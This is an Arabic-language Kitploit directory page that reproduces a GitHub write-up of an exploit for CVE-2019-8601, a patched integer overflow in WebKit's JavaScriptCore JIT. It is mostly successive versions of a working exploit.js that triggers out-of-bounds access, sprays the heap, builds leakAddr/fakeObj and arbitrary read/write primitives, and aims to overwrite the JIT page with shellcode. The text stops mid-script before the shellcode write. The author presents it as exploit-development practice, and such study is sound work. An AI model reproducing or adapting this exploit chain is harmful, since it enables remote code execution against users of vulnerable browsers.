Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2019-8601 — استغلال ثغرة تم تصحيحها في JavaScriptCore | Kitploit
أدوات/GitHubGitHub/badaccess11/cve-2019-8601
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالتعلم والتعليمتطوير الحمولاتاستغلال الملفات الثنائية
GitHubbadaccess11/cve-2019-8601

CVE-2019-8601

استغلال ثغرة تم تصحيحها في JavaScriptCore

عرض المستودع
173منذ 6 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

استغلال CVE-2019-8601

هذا استغلال لثغرة أمنية في WebKit تم اكتشافها في الأصل بواسطة Fluoroacetate خلال مسابقة pwn2own في فانكوفر. على الرغم من أنني لم أكتشف هذه الثغرة، إلا أنني كتبت هذا الاستغلال لممارسة مهاراتي في تطوير الاستغلالات. المقال الأصلي حول هذا الاستغلال موجود هنا من Zero Day Initiative. على الرغم من أن هذا المقال جيد جدًا وكان مفيدًا في مساعدتي على فهم الثغرة، إلا أنه من وجهة نظر شخص يتحقق من الثغرة. لقد وجدت أن بعض التفاصيل الرئيسية مفقودة عند محاولة هندسة هذا الاستغلال من الصفر، وآمل في سد بعض الفجوات التي فاتتها مقال ZDI واكتساب مهارات عملية حول كيفية هندسة استغلال معقد من الصفر.

خطوات الاستغلال

تعمل هذه الخطوات كإطار عام للحصول على تنفيذ تعليمات برمجية تعسفي داخل JavaScriptCore (JSC)، محرك JavaScript لـ WebKit

  • تحديد الثغرة
  • تشغيل الثغرة وتعطل مع تفعيل ASAN
  • الحصول على بدائيات leakAddr و fakeObj
  • إفساد butterfly المصفوفة لتحقيق بدائيات القراءة والكتابة
  • استخدام بدائيات القراءة والكتابة لتحقيق تنفيذ تعليمات برمجية تعسفي داخل JSC

تحديد الثغرة

الثغرة التي سيتم استغلالها هي تجاوز سعة عدد صحيح يحدث في الكود الناتج عن مترجم DFG في الوقت المناسب (JIT) لـ WebKit. يحدث هذا تحديدًا في دالة compileNewArrayWithSpread. سيتم استدعاء هذه الدالة عندما يتم تحويل الكود الذي يستخدم صيغة الانتشار في JavaScript لإنشاء مصفوفة جديدة بواسطة DFG.

compileNewArrayWithSpread

داخل الكود المُجمَّع في الوقت المناسب، أولاً سيتم حساب حجم المصفوفة. يفعل ذلك عن طريق جمع طول كل وسيط تم تمريره إلى مُنشئ المصفوفة. أثناء حساب الحجم لكل إضافة، يتحقق من حدوث تجاوز للحجم. بعد ذلك، سيستدعي دالة compileAllocateNewArray مررًا لها الطول الذي تم حسابه في هذه الدالة.

compileAllocateNewArrayWithSize

ستقوم دالة compileAllocateNewArray بعد ذلك بتمرير الطول الذي تم حسابه سابقًا إلى emitAllocateButterfly.

emitAllocateButterfly

ستقوم دالة emitAllocateButterfly بعد ذلك بإزاحة الحجم إلى اليسار بمقدار 3 بتات، وهو ما يعادل ضربه في 8. ومع ذلك، لا يوجد فحص للتجاوز، وبالتالي يمكن لرقم مثل 0x20000001 أن يتجاوز إلى 0x8.

يوضح برنامج C هذا الثغرة:

overflow-example2

overflow-example

يمكننا استخدام هذه الثغرة لخداع محرك JavaScript ليعتقد أننا قمنا بتخصيص مصفوفة بحجم 0x20000001 ولكن في الواقع قمنا فقط بتخصيص مساحة كافية لـ JSValue واحد (8 بايت). سيؤدي ذلك إلى بدائية قراءة وكتابة خارج الحدود (OOB) يمكن بعد ذلك استغلالها لتحقيق قراءة وكتابة تعسفية وفي النهاية تنفيذ تعليمات برمجية عن بعد (RCE).

  • تحديد الثغرة

تشغيل الثغرة مع ASAN

لتأكيد أن لدينا قراءة خارج الحدود، سنحاول تشغيل هذه الثغرة على بناء مُعقّم العناوين (ASAN) لـ JSC.

لفعل ذلك من دليل WebKit، يمكننا تشغيل الأوامر:```bash Tools/Scripts/set-webkit-configuration --asan Tools/Scripts/build-jsc --jsc--only --debug

root@kitploit:~
سيؤدي هذا إلى بناء نسخة تصحيح أخطاء من JSC مع تمكين ASAN مما يسمح لنا بالتحقق مما إذا كنا قد نجحنا في تشغيل الثغرة الأمنية أم لا.

إليك التكرار الأول لـ exploit.js```javascript
function jitMe(array){
  return [...array]
}

let dummy = [1.1]
for(let i = 0; i < 200; i++){
  jitMe(dummy);
}

let a = []

let len = 0x20000001                                                                     

for(let i = 0; i < len; i++){
  a[i] = 1.1 
}

jitMe(a)

عند تشغيل هذا أحصل على الخطأ التالي:

root@kitploit:~
Program terminated with signal SIGKILL, Killed.
The program no longer exists.

كان تخميني أن الذاكرة تُستهلك بشكل كبير عند محاولة تخصيص مصفوفة بهذا الحجم. لتأكيد ذلك، أضفت نقطة توقف (breakpoint) إلى كود JITed عن طريق إضافة استدعاء لـ m_jit.breakpoint() داخل compileNewArrayWithSpread الذي يضيف تعليمة int3 إلى كود JITed.

بعد إضافة نقطة التوقف، وجدت أنها لم تُضرب، ثم قررت اختبار طول 0x20001. ثم أدركت أن الكود لم يكن يُجمَّع حتى، لذا أضفت المزيد من التكرارات لتفعيل DFG compiler.```javascript function jitMe(array){ for(let i = 0; i < 0x4000; i++){ let x = 1 + 1 } return [...array] }

let dummy = [1.1] for(let i = 0; i < 60; i++){ print(i) jitMe(dummy); }

let a = []

let len = 0x20000001

for(let i = 0; i < len; i++){ a[i] = 1.1 }

jitMe(a)

root@kitploit:~
اختبار البرنامج كما هو لا يزال يؤدي إلى SIGKILL، ولكن عند الاختبار بطول أصغر، يتم ضرب نقطة التوقف. في هذه المرحلة، لا يزال يبدو لي أن JSC ينفد من الذاكرة عند محاولة معالجة تلك المصفوفة الضخمة.

للتعامل مع ذلك، قررت تخصيص مصفوفة `a` أصغر ثم استخدام بناء الجملة المنتشر (spread syntax) لاستخدامها عدة مرات عند إنشاء المصفوفة التالفة، مما أدى إلى ملف exploit.js التالي```
function jitMe(array){
  for(let i = 0; i < 0x4000; i++){
    let x = 1 + 1
  }
  return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array]
}

let dummy = [1.1]
for(let i = 0; i < 100; i++){
  print(i)
  jitMe(dummy);
}

let a = []

let len = 0x20000010 / 0x10

for(let i = 0; i < len; i++){
  a[i] = 1.1
}

jitMe(a)

باستخدام هذا الكود تمكنا من الوصول إلى نقطة التوقف دون SIGKILL! وكالمعتاد، يؤدي إصلاح مشكلة إلى ظهور أخرى، وقد حصلنا على SIGABORT بدلاً من ذلك... باستخدام الأمر bt في gdb نرى أنه تم استدعاء operationNewArrayWithSize والذي استدعى create.

backtrace1

يبدو غريباً أن الكود المُجمَّع في الوقت الحقيقي (JIT) الخاص بنا سوف يستدعي operationNewArrayWithSize، ولا بد أن الكود المُجمَّع اضطُر لسلوك مسار بطيء إلى محرك JavaScript لسبب ما.

slowcases

نلاحظ في compileAllocateNewArrayWithSize وجود خروج إلى operationNewArrayWithSize. بعد ذلك نحتاج إلى معرفة سبب الخروج بالضبط إلى الحالة البطيئة.

نرى في compileNewArrayWithSpread أن shouldConvertLargeSizeToArrayStorage مضبوطة على false وأن هذا المسار البطيء لن يكون موجوداً في الكود المُجمَّع.

compileNewArrayWithSpread2

لذلك من المنطقي أن المسار البطيء يتم الوصول إليه في مكان ما داخل emitAllocateJSObject.

emitAllocateJSObject

emitAllocateJSObject يستدعي emitAllocateJSCell والذي بدوره يستدعي emitAllocate.

emitAllocate

emitAllocateWithNonNullAllocator

بدون معرفة كيفية عمل مُخَصِّص WebKit، يبدو هذا مربكاً جداً. لذلك قررت إضافة نقاط توقف قليلة وتنفيذ الكود خطوة بخطوة في gdb.

بعد الوصول إلى نقطة توقف موضوعة في emitAllocateVariableSized والتي تم استدعاؤها بواسطة emitAllocateButterfly، نرى كود التجميع التالي:

assemblyEmitAllocateVariableSized

والذي يتوافق مع الكود الذي أرسله مُجمّع JIT هنا:

emitAllocateVariableSized

نلاحظ أن حجم التخصيص يُضاف إليه 0xf ثم يُزاح لليمين بمقدار 4. ثم يُقارن مع 0x1f6 الموافق لفرع المسار البطيء. بعد ذلك، يتم نقل مخصِّص الفضاء الفرعي إلى rsi والفهرسة في هذا المؤشر بناءً على الحسابات التي تم إجراؤها. ثم نواصل إلى نقطة التوقف الموضوعة في emitAllocateWithNonNullAllocator للعثور على كود التجميع التالي:

assemblyEmitAllocateWithNonNullAllocator.png

والذي يتوافق مع الكود الذي أرسله مُجمّع JIT هنا:

emitAllocateWithNonNullAllocator

الآن بعد أن نفذنا بعضاً من كود التجميع، لدينا سياق أكبر قليلاً لما يحدث. بالتقدم إلى تعليمتين إضافيتين، نرى أننا سنقوم بالقفزة:

stepFoward2

بالنظر إلى كود C++ يمكننا استنتاج أن هذا يعني عدم وجود مساحة متبقية في قائمة التخصيص الحرة لهذا المخصِّص، لذلك سيتخذ مسار pop.

jumpPerformed

بتنفيذ القفزة وتنفيذ التعليمتين التاليتين، نرى أن القفزة تؤخذ مباشرة مما يتوافق مع اتخاذ المسار البطيء. نتخذ المسار البطيء لأن سر المخصِّص يتم XORed مع الرأس المشفر للمخصِّص وتكون النتيجة صفراً. بدون معرفة إضافية عن مُخَصِّص WebKit، يصعب تحديد ما يحدث بالضبط.

على الرغم من أنني أحب قضاء المزيد من الوقت في تعلم مُخَصِّص WebKit، إلا أنني اعتقدت أن طريقة أسهل للمضي قدماً هي تجربة بعض الأفكار ومعرفة ما إذا كانت تؤدي إلى نتائج مختلفة ثم التصحيح من هناك.

إحدى الأفكار التي خطرت لي هي تخصيص مصفوفة بحجم 0x10 نظراً لأن ذلك سيكون في نفس حجم خطوة التخصيص مثل المصفوفة التي ستُحدث الثغرة، ثم استدعاء jitMe بمصفوفة بحجم 1. وبما أننا نعرف عنوان المخصِّص، يمكننا وضع نقطة مراقبة على القيم التي تؤدي إلى الفروع ومعرفة متى تتغير. جاءتني هذه الفكرة لأنني اعتقدت أن تخصيص كائن سيكون في نفس حجم الخطوة قد يقود المخصِّص إلى حالة مختلفة وأكثر إثارة للاهتمام. وهذا يقودنا إلى التكرار التالي من exploit.js.```javascript function jitMe(array){ for(let i = 0; i < 0x4000; i++){ let x = 1 + 1 } return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array] }

let dummy = [1.1] for(let i = 0; i < 80; i++){ print(i) jitMe(dummy); }

let a = []

let len = 0x20000010 / 0x10

for(let i = 0; i < len; i++){ a[i] = 1.1 }

let x = new Array(0x10) let b = [1.1]

jitMe(b)
jitMe(a)

root@kitploit:~
اختبار هذه الفكرة نجح!![worked!](https://assets.kitploit.com/production/public/readmes/15542/05b994ba516d740408e446b0607e913623d257b6a0994ff6da314c3cbd93c484.png)

يمكننا أن نرى أنه عند اختبار `jitMe` على المصفوفة الصغيرة، لا نسلك المسار البطيء! ثم نضع نقطة مراقبة على r8 + 0x18 لنرى متى يتم تعيين هذه القيمة إلى الصفر. بعد أن نصل إلى نقطة المراقبة، نحصل على التتبع الخلفي التالي:

![watchpoint](https://assets.kitploit.com/production/public/readmes/15542/2ef7158ff792a2cdc12b883671e2ea9ab3d00893fb0c2a56f706040d3ba90563.png)

بناءً على أسماء الدوال في التتبع الخلفي، يبدو أن عملية جمع القمامة (Garbage Collection) يتم تنفيذها، والتي تعيين قيمة `secret` و `scrambledHead` إلى الصفر.

بناءً على مكدس الاستدعاءات، نعلم أن الاستدعاء إلى `tryCreate` في `createFromArray` هو المسؤول عن بدء عملية جمع القمامة.

![TryCreate](https://assets.kitploit.com/production/public/readmes/15542/13ab70debb8103d94fd04c6f4c352153f0096f797c089cc6bb957527842aca78.png)

داخل `createFromArray`، ستقوم أيضًا بالتكرار عبر العناصر والوصول إلى كل عنصر، وإذا تمكنا من اعتراض الاستدعاء للحصول على المخصص وإعادة تهيئته، يمكننا منعه من اتخاذ المسار البطيء.

exploit.js:``` 
function jitMe(array, reInitAllocator){
  for(let i = 0; i < 0x4000; i++){
    let x = 1 + 1
  }
  return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator]
}

let dummy = [1.1]
for(let i = 0; i < 80; i++){
  jitMe(dummy, dummy);
}

let a = []

let len = 0x20000010 / 0x10

for(let i = 0; i < len; i++){
  a[i] = 1.1
}

let b = [];
b.length = 1;

b.__defineGetter__(0, () => {
  let x = new Array(0x10)
})

jitMe(a, b)

يعطينا خطأ ASAN!asan

  • تشغيل الثغرة وتعطل البرنامج مع تمكين ASAN

رش الكومة للحصول على تخصيصات متداخلة

الآن بعد أن أصبح بإمكاننا تشغيل الثغرة بشكل موثوق، نريد استخدام إمكانية القراءة/الكتابة خارج الحدود (OOB R/W) لتلف الذاكرة بشكل أكبر والحصول على إمكانية خلط الأنواع (type confusion). الخطوة الأولى هي إعادة ترجمة JSC مع تعطيل ASAN. بعد القيام بذلك، نعيد تشغيل exploit.js ونحصل على العطل التالي:

نجاح!

يمكننا ملاحظة أننا نقوم بتلف هذا إلى القيمة 0x3ff299999999999a عندما نستخدم وحدة struct في بايثون لتحويل القيمة العائمة 1.1 إلى بايتات نحصل على ما نتوقعه تمامًا: 0x3ff299999999999a struct

الآن بعد أن رأينا أننا حققنا تلفًا في الذاكرة، نحتاج إلى بعض تهيئة الكومة لتحويل ذلك إلى خلط أنواع. الفكرة ستكون رش عدد من المصفوفات من نوع ArrayWithDoubles و ArrayWithContiguous وتلف طول الـ butterfly حتى نتمكن من الوصول خارج الحدود مع هذه المصفوفات والحصول على خلط أنواع. نأمل أن تمنع تخصيص عدد كافٍ من المصفوفات الوصول خارج الحدود من تلف أي قيم مهمة.``` function jitMe(array, reInitAllocator){
for(let i = 0; i < 0x4000; i++){ let x = 1 + 1 } return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator] }

print("[+] JIT compiling the vulnerable function ") let dummy = [1.1] for(let i = 0; i < 85; i++){ jitMe(dummy, dummy); }

dummy = 0

let a = []

let len = 0x20000010 / 0x10

print("[+] Making array to trigger the overflow") for(let i = 0; i < len; i++){ a[i] = -3.7206620809969885e-103; }

let b = []; b.length = 1;

let sprayedArrays = [] let arrayWithDouble = [] let arrayWithContiguous = []

print("[+] Making arrays to prevent slow path") // this array can only contain doubles for(let i = 0; i < 0x10; i++){ arrayWithDouble[i] = 2.0286158381253047e-252 }

// this array can contain doubles and objects for(let i = 0; i < 0x10; i++){ arrayWithContiguous[i] = {} }

b.defineGetter(0, () => { for(let i = 0; i < 0x8000; i++){ // we alternate arrays so that when we read out of bounds we can place the desired object directly after it in memory if(i % 2 == 0){ // We use slice to make a copy this replaces new Array(0x10) and will reinitalize the allocator sprayedArrays[i] = arrayWithDouble.slice(); }else{ sprayedArrays[i] = arrayWithContiguous.slice(); } } }) print("[+] Triggering the overflow") let badArray = jitMe(a, b)

root@kitploit:~
بعد أن نقوم برش هذه المصفوفات، سيتم الكتابة فوقها بالبيانات من `badArray`. ولكن هذا سيمنع حدوث خطأ تجزئة (seg fault) بعد الكتابة خارج الحدود. للحصول على مصفوفة قابلة للتلف، يمكننا تخصيص ثلاث مصفوفات إضافية: ArrayWithDouble، ثم ArrayWithContiguous، ثم ArrayWithDouble. بمجرد إتلاف المصفوفة، يمكننا كتابة كائن في ArrayWithContiguous وقراءته من ArrayWithDouble لإنشاء خلط في الأنواع (type confusion) وقراءة عنوان. بالإضافة إلى ذلك، يمكننا كتابة عنوان في ArrayWithDouble الثانية وقراءته من ArrayWithContiguous للحصول على كائن مزيف (fake object) في عنوان محدد. بتنفيذ هذا نحصل على:```
function jitMe(array, reInitAllocator){                                                                                            
  for(let i = 0; i < 0x4000; i++){
    let x = 1 + 1
  }
  return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator]
}

print("[+] JIT compiling the vulnerable function ")
let dummy = [1.1]
for(let i = 0; i < 85; i++){
  jitMe(dummy, dummy);
}

dummy = 0

let a = []

let len = 0x20000010 / 0x10

print("[+] Making array to trigger the overflow")
for(let i = 0; i < len; i++){
  a[i] = -3.7206620809969885e-103;
}

let b = [];
b.length = 1;

let sprayedArrays = []
let arrayWithDouble = []
let arrayWithContiguous = []

print("[+] Making arrays to prevent slow path")
// this array can only contain doubles
for(let i = 0; i < 0x10; i++){
  arrayWithDouble[i] = 2.0286158381253047e-252
}

// this array can contain doubles and objects
for(let i = 0; i < 0x10; i++){
  arrayWithContiguous[i] = {}
}

b.__defineGetter__(0, () => {
  for(let i = 0; i < 0x8000; i++){
    // we alternate arrays so that when we read out of bounds we can place the desired object directly after it in memory
    if(i % 2 == 0){
      // We use slice to make a copy this replaces new Array(0x10) and will reinitalize the allocator
      sprayedArrays[i] = arrayWithDouble.slice();
    }else{
      sprayedArrays[i] = arrayWithContiguous.slice();
    }
  }
})
print("[+] Triggering the overflow")
let badArray = jitMe(a, b)
// read address from this array
sprayedArrays[0] = arrayWithDouble.slice(); 
// insert address to read into this array and get fake objects from this array
sprayedArrays[1] = arrayWithContiguous.slice();
// insert address of fake objects into this array
sprayedArrays[2] = arrayWithDouble.slice(); 

// helper arrays to do float and integer conversions
var backingBuffer = new ArrayBuffer(8)
var f = new Float64Array(backingBuffer)
var i = new Uint32Array(backingBuffer)

function i2f(num) {
  i[0] = num % 0x100000000
  i[1] = num / 0x100000000
  return f[0]
}

function f2i(num) {
  f[0] = num
  return (i[1] * 0x100000000) + i[0]
}

print("[+] Getting leakAddr and fakeObj primitives")

let NEW_LENGTH = 21
let LEAK_ARRAY_INDEX = 0
let FAKE_ARRAY_INDEX = 1

badArray[19] = NEW_LENGTH;
badArray[39] = NEW_LENGTH;

function leakAddr(obj) {
  sprayedArrays[1][0] = obj;
  let floatAddr = sprayedArrays[LEAK_ARRAY_INDEX][NEW_LENGTH - 1];
  return f2i(floatAddr);
}

function fakeObj(addr) {
  let floatAddr = i2f(addr)
  sprayedArrays[2][0] = floatAddr
  return sprayedArrays[FAKE_ARRAY_INDEX][NEW_LENGTH - 1]
}

  • الحصول على بدائيات leakAddr و fakeObj

الحصول على بدائيات القراءة والكتابة العشوائية

الآن وبما أن لدينا كائنًا مزيفًا وبدائية تسريب عنوان، فإن هدفنا التالي هو تحقيق بدائيات القراءة والكتابة العشوائية. ستكون استراتيجيتنا العامة هي إنشاء كائن مزيف وتوجيه الفراشة إلى فراشة ArrayWithDouble والكتابة إلى هذه الفراشة بالعنوان الذي نريد القراءة أو الكتابة منه. تُستخدم هذه التقنية أثناء الاستغلال الأصلي وقد ذكرها saelo في هذه المقالة.

ومع ذلك، قبل أن أتمكن من القيام بذلك، واجهت خطأ غير متوقع. وجدت أنه بعد إضافة قدر معين من الكود إلى الاستغلال، لم يعد تشغيل الثغرة يعمل وكنت أصطدم بالمسار البطيء مما يتسبب في استثناء نفاد الذاكرة.

لإصلاح ذلك، وجدت أنني تمكنت من معالجة الكود المراد تشغيله كسلسلة نصية واستدعاء دالة eval في JavaScript. لسبب ما، تمكن هذا من تجاوز هذه المشكلة.

لإعداد الكائن المزيف، نحتاج أن يكون له معرف هيكل صالح. للقيام بذلك، نقوم برش مجموعة من معرفات الهياكل وتعيين معرفنا إلى معرف هيكل يمكن التنبؤ به.

من أجل الكتابة فوق فراشة ArrayWithDouble، نحتاج إلى القدرة على الفهرسة إلى الفراشة المستهدفة. للقيام بذلك، نستمر في تخصيص المصفوفات حتى يصبح العنوان أكبر من عنوان العنصر الأوسط لمصفوفة معرفات الهياكل المرشوشة. ثم نضبط فراشة الكائن المزيف لتكون هذا العنصر الأوسط ونفهرس إلى فراشة الكائن المزيف لتعيين الفراشة المستهدفة.``` function jitMe(array, reInitAllocator){
for(let i = 0; i < 0x4000; i++){ let x = 1 + 1 } return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator] }

print("[+] JIT compiling the vulnerable function ") let dummy = [1.1] for(let i = 0; i < 85; i++){ jitMe(dummy, dummy); }

dummy = 0

let a = []

let len = 0x20000010 / 0x10

print("[+] Making array to trigger the overflow") for(let i = 0; i < len; i++){ a[i] = -3.7206620809969885e-103; }

let b = []; b.length = 1;

let sprayedArrays = [] let arrayWithDouble = [] let arrayWithContiguous = []

print("[+] Making arrays to prevent slow path") // this array can only contain doubles for(let i = 0; i < 0x10; i++){ arrayWithDouble[i] = 2.0286158381253047e-252 }

// this array can contain doubles and objects for(let i = 0; i < 0x10; i++){ arrayWithContiguous[i] = {} }

b.defineGetter(0, () => { for(let i = 0; i < 0x8000; i++){ // we alternate arrays so that when we read out of bounds we can place the desired object directly after it in memory if(i % 2 == 0){ // We use slice to make a copy this replaces new Array(0x10) and will reinitalize the allocator sprayedArrays[i] = arrayWithDouble.slice(); }else{ sprayedArrays[i] = arrayWithContiguous.slice(); } } }) print("[+] Triggering the overflow") let badArray = jitMe(a, b) // read address from this array sprayedArrays[0] = arrayWithDouble.slice(); // insert address to read into this array and get fake objects from this array sprayedArrays[1] = arrayWithContiguous.slice(); // insert address of fake objects into this array sprayedArrays[2] = arrayWithDouble.slice();

//eval this code indirectly to prevent weird slow path crash let postTrigger = ` // helper arrays to do float and integer conversions var backingBuffer = new ArrayBuffer(8) var f = new Float64Array(backingBuffer) var i = new Uint32Array(backingBuffer)

function i2f(num) { i[0] = num % 0x100000000 i[1] = num / 0x100000000 return f[0] }

function f2i(num) { f[0] = num return (i[1] * 0x100000000) + i[0] }

print("[+] Getting leakAddr and fakeObj primitives")

let NEW_LENGTH = 21 let LEAK_ARRAY_INDEX = 0 let FAKE_ARRAY_INDEX = 1

badArray[19] = NEW_LENGTH; badArray[39] = NEW_LENGTH;

function leakAddr(obj) { sprayedArrays[1][0] = obj; let floatAddr = sprayedArrays[LEAK_ARRAY_INDEX][NEW_LENGTH - 1]; return f2i(floatAddr); }

function fakeObj(addr) { let floatAddr = i2f(addr) sprayedArrays[2][0] = floatAddr return sprayedArrays[FAKE_ARRAY_INDEX][NEW_LENGTH - 1] } / print("[+] Spraying structure IDs") // now predict structure id var sprayedStructureIDs = []

for(let x = 0; x < 0x400; x++){ let struct = {a:0x100, b:0x200, c:0x300, d:0x400, e:0x500, f:0x600, g:0x700} struct['addNewStructureId'+x] = 0x1337 sprayedStructureIDs[x] = struct; }

print("[+] Setting up the fake object") // set up the fake object // subtrace 0x1000000000000 to account for JS boxing var fakeHost = {a:i2f(0x0108200700000100 - 0x1000000000000), b:sprayedStructureIDs[0x80]};

// when we create a fake object the structure ID will be fakeStructureID and the butterfly will point to an object allocated in our sprayed array // we then want to allocate an array at a memory address greater than the butterfly and we use this object to overwrite the target butterfly var baseAddr = leakAddr(sprayedStructureIDs[0x80]) print("[+] Base address @ 0x" + baseAddr.toString(16)) var target = [] var targetAddr = leakAddr(target)

while(targetAddr < baseAddr){ target = [] targetAddr = leakAddr(target) }

// make sure target is ArrayWithDouble target[1] = 1.1

print("[+] Got a array with controllable butterfly") let fakeAddr = leakAddr(fakeHost) + 0x10 let hax = fakeObj(fakeAddr)

let targetButterflyIndex = ((targetAddr - baseAddr) / 8) + 1; let targetButterflyPointer = f2i(hax[targetButterflyIndex]) print("[+] target butterfly == 0x" + targetButterflyPointer.toString(16)) print("[+] target address @ 0x" + targetAddr.toString(16))

function setTargetButterfly(address) { hax[targetButterflyIndex] = i2f(address) }

print("[+] Got R/W primitive") `

eval(postTrigger)

root@kitploit:~
- [x] إتلاف array butterfly لتحقيق أساسيات القراءة والكتابة

### تحقيق تنفيذ تعليمات برمجية عشوائية داخل عملية التقديم

الآن بعد أن أصبح لدينا أساسيات القراءة والكتابة، كل ما نحتاجه هو الكتابة فوق صفحة JIT بـ shellcode مخصص. نحن نكتب فوق صفحة JIT لأنها ستكون على الأرجح منطقة الذاكرة الوحيدة التي ستكون مُعينة كـ RWX في العملية. بينما كان بإمكاننا بدلاً من ذلك تنفيذ سلسلة ROP وتحريك المكدس لتعيين منطقة ذاكرة كـ RWX وتنفيذ shellcode الخاص بنا، إلا أن هذا الأسلوب أثبت أنه أبسط بكثير.

لكتابة فوق صفحة JIT، نحتاج أولاً إلى دالة مُجمَّعة في الوقت المناسب (JITed). اخترت استخدام الدالة `jitMe` التي استخدمناها لتفعيل الثغرة. من هنا استخدمت gdb لتتبع المؤشرات في هذا الكائن حتى وصلت إلى الذاكرة التي تحتوي على الكود المُجمَّع (JITed). تجدر الإشارة إلى أن هذه الإزاحات المؤشرية محددة جدًا لهذه النسخة من WebKit ومن المرجح أن تتغير في المستقبل. لا ينبغي الاعتماد عليها عند كتابة استغلال يهدف إلى العمل عبر نسخ متعددة من WebKit.

بعد أن وجدنا المؤشر إلى صفحة JIT، نحتاج إلى كتابة shellcode لفتح آلة حاسبة. يمكن رؤية هذا shellcode هنا:

![shellcode](https://assets.kitploit.com/production/public/readmes/15542/13047bf6155bec046fb0362984aa037f26a004ffd86d5aee3984c91a9f6f7ec6.png)

ثم نحتاج إلى تجميع shellcode، واستخراج البايتات، وتحويلها إلى أعداد عشرية (floats) يمكننا كتابتها باستخدام أساسيات القراءة/الكتابة لدينا.

وهذا يعطينا الملف النهائي exploit.js:```
function jitMe(array, reInitAllocator){
  for(let i = 0; i < 0x4000; i++){
    let x = 1 + 1
  }
  return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator]
}

print("[+] JIT compiling the vulnerable function ")
let dummy = [1.1]
for(let i = 0; i < 85; i++){
  jitMe(dummy, dummy);
}

dummy = 0

let a = []

let len = 0x20000010 / 0x10

print("[+] Making array to trigger the overflow")
for(let i = 0; i < len; i++){
  a[i] = -3.7206620809969885e-103;
}

let b = [];
b.length = 1;

let sprayedArrays = []
let arrayWithDouble = []
let arrayWithContiguous = []

print("[+] Making arrays to prevent slow path")
// this array can only contain doubles
for(let i = 0; i < 0x10; i++){
  arrayWithDouble[i] = 2.0286158381253047e-252
}

// this array can contain doubles and objects
for(let i = 0; i < 0x10; i++){
  arrayWithContiguous[i] = {}
}

b.__defineGetter__(0, () => {
  for(let i = 0; i < 0x8000; i++){
    // we alternate arrays so that when we read out of bounds we can place the desired object directly after it in memory
    if(i % 2 == 0){
      // We use slice to make a copy this replaces new Array(0x10) and will reinitalize the allocator
      sprayedArrays[i] = arrayWithDouble.slice();
    }else{
      sprayedArrays[i] = arrayWithContiguous.slice();
    }
  }
})
print("[+] Triggering the overflow")
let badArray = jitMe(a, b)


// read address from this array
sprayedArrays[0] = arrayWithDouble.slice();
// insert address to read into this array and get fake objects from this array
sprayedArrays[1] = arrayWithContiguous.slice();
// insert address of fake objects into this array
sprayedArrays[2] = arrayWithDouble.slice();

// helper arrays to do float and integer conversions

let postTrigger = `
var backingBuffer = new ArrayBuffer(8)
var f = new Float64Array(backingBuffer)
var i = new Uint32Array(backingBuffer)

function i2f(num) {
  i[0] = num % 0x100000000
  i[1] = num / 0x100000000
  return f[0]
}

function f2i(num) {
  f[0] = num
  return (i[1] * 0x100000000) + i[0]
}

print("[+] Getting leakAddr and fakeObj primitives")

let NEW_LENGTH = 21
let LEAK_ARRAY_INDEX = 0
let FAKE_ARRAY_INDEX = 1

badArray[19] = NEW_LENGTH;
badArray[39] = NEW_LENGTH;

function leakAddr(obj) {
  sprayedArrays[1][0] = obj;
  let floatAddr = sprayedArrays[LEAK_ARRAY_INDEX][NEW_LENGTH - 1];
  return f2i(floatAddr);
}

function fakeObj(addr) {
  let floatAddr = i2f(addr)
  sprayedArrays[2][0] = floatAddr
  return sprayedArrays[FAKE_ARRAY_INDEX][NEW_LENGTH - 1]
}
print("[+] Spraying structure IDs")
// now predict structure id
var sprayedStructureIDs = []

for(let x = 0; x < 0x400; x++){
  let struct = {a:0x100, b:0x200, c:0x300, d:0x400, e:0x500, f:0x600, g:0x700}
  struct['addNewStructureId'+x] = 0x1337
  sprayedStructureIDs[x] = struct;
}

print("[+] Setting up the fake object")
// set up the fake object
// subtrace 0x1000000000000 to account for JS boxing
var fakeHost = {a:i2f(0x0108200700000100 - 0x1000000000000), b:sprayedStructureIDs[0x80]};

// when we create a fake object the structure ID will be fakeStructureID and the butterfly will point to an object allocated in our sprayed array
// we then want to allocate an array at a memory address greater than the butterfly and we use this object to overwrite the target butterfly
var baseAddr = leakAddr(sprayedStructureIDs[0x80])
print("[+] Base address @ 0x" + baseAddr.toString(16))
var target = []
var targetAddr = leakAddr(target)

while(targetAddr < baseAddr){
  target = []
  targetAddr = leakAddr(target)
}

target[1] = 1.1

print("[+] Got a array with controllable butterfly")
let fakeAddr = leakAddr(fakeHost) + 0x10
let hax = fakeObj(fakeAddr)

let targetButterflyIndex = ((targetAddr - baseAddr) / 8) + 1;
let targetButterflyPointer = f2i(hax[targetButterflyIndex])
print("[+] target butterfly == 0x" + targetButterflyPointer.toString(16))
print("[+] target address @ 0x" + targetAddr.toString(16))

function setTargetButterfly(address) {
  hax[targetButterflyIndex] = i2f(address)
}

print("[+] Got R/W primitive")

var myJitAddr = leakAddr(jitMe)

